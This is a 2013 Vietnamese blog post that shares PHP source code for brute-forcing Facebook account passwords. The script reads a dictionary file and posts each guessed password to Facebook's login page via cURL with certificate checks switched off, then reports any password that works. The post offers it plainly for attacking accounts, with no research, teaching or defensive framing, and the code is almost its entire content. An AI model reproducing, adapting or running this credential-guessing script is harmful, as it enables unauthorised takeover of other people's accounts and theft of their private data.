INFO

My BlogsViệt.Net

- Never frown, even when you are sad
- Because you never know who is falling in love with your smile.
- Đừng bao giờ tiết kiệm nụ cười ngay cả khi bạn buồn♥
- Vì không bao giờ bạn biết được, có thể có ai đó sẽ yêu bạn vì nụ cười đó.

Info

Cảm xúc thật. Và Tình Yêu Anh Dành Cho Em Cũng Thật

Thứ Tư, 3 tháng 7, 2013

Share source PHP code Brute Force tài khoản Facebook

<div class="code">
$username =”brute@force.org“; // Tên email đăng nhập facebook
$dictionary =”dictionary.txt“; // file chứa list password(nên đặt ngang hàng file brute force này)

&lt;?php
set_time_limit(0);
$username ="brute@force.org"; // username to brute force
fopen("dictionary.txt","a");
fclose;
$dictionary ="dictionary.txt";
function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&amp;pass=$sifre&amp;login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&amp;përpara=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home&lt;/title&gt;",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..&lt;br&gt;";
sleep(10);
echo "Attack Started, brute forcing..&lt;br&gt;";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "&lt;font face=tahoma color=green&gt;[+]&lt;/font&gt;&lt;font face=tahoma&gt; username:$username , password:$line - P
assword found : $line&lt;/font&gt;&lt;br&gt;";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "&lt;font face=tahoma color=brown&gt;[-]&lt;/font&gt;&lt;font face=tahoma&gt; username:$username , password:$line - Password not found :
$line&lt;/font&gt;&lt;br&gt;";}
}
?&gt;
</div>

Artikel Terkait

0   nhận xét

Đăng nhận xét

Cancel Reply